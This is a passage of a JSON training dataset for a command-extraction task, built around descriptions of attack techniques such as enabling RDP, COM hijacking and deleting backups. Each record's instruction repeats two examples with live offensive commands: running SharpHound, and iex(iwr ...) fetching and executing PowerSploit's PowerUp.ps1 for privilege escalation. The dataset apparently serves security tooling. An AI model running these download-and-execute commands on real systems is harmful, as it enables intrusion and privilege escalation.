    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modify the registry value of fDenyTSConnections to allow incoming RDP connections. \nThis activity has been observed by multiple ransomware groups, including Hive ransomware. \n[Reference](https://www.rapid7.com/blog/post/2023/01/11/increasing-the-sting-of-hive-ransomware/)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Utilize launchctl\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Add and delete a rule on the Packet Filter (PF) if installed and enabled. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.\n\nReference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Disables syslog collection\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Allow startup key with TPM for Bitlocker tool\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use Perl to decode a base64-encoded text string and echo it to the console    \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical 